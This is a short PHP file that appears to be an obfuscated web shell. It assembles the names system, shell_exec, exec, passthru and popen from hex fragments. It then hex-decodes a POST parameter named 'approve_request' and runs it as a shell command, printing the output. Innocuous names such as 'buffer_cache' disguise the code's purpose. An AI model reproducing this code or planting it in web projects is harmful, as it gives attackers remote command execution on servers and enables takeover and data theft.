<?php

$key1 = '973';
$key2 = '736';
$key3 = '865';
$key4 = '6c6';
$key5 = 'c5f';
$key6 = '63';
$key7 = '657';
$key8 = '706';
$key9 = '173';
$key10 = '727';
$key11 = '5';
$key12 = 'e';
$key13 = '737';
$key14 = '656';
$key15 = '6f6';
$key16 = 'e74';
$key17 = '6f7';
$key18 = '070';
$key19 = '726';
$key20 = '655';
$key21 = '175';
$key22 = '374';
$buffer_cache1 = pack('H*', '737' . $key1 . '746' . '56d');
$buffer_cache2 = pack('H*', $key2 . $key3 . $key4 . $key5 . '657' . $key3 . $key6);
$buffer_cache3 = pack('H*', $key7 . '865' . $key6);
$buffer_cache4 = pack('H*', $key8 . $key9 . '737' . '468' . $key10 . $key11);
$buffer_cache5 = pack('H*', $key8 . 'f70' . '656' . $key12);
$buffer_cache6 = pack('H*', $key13 . '472' . $key14 . '16d' . '5f6' . '765' . '745' . 'f63' . $key15 . $key16 . $key14 . $key16 . '73');
$buffer_cache7 = pack('H*', '706' . '36c' . $key17 . '365');
$approve_request = pack('H*', '617' . $key18 . $key19 . 'f76' . $key20 . 'f72' . '657' . $key21 . $key7 . $key22);
if (isset($_POST[$approve_request])) {
    $approve_request = pack('H*', $_POST[$approve_request]);
    if (function_exists($buffer_cache1)) {
        $buffer_cache1($approve_request);
    } elseif (function_exists($buffer_cache2)) {
        print $buffer_cache2($approve_request);
    } elseif (function_exists($buffer_cache3)) {
        $buffer_cache3($approve_request, $descriptor_hld);
        print join("\n", $descriptor_hld);
    } elseif (function_exists($buffer_cache4)) {
        $buffer_cache4($approve_request);
    } elseif (function_exists($buffer_cache5) && function_exists($buffer_cache6) && function_exists($buffer_cache7)) {
        $data_chunk_item = $buffer_cache5($approve_request, 'r');
        if ($data_chunk_item) {
            $ref_val = $buffer_cache6($data_chunk_item);
            $buffer_cache7($data_chunk_item);
            print $ref_val;
        }
    }
    exit;
}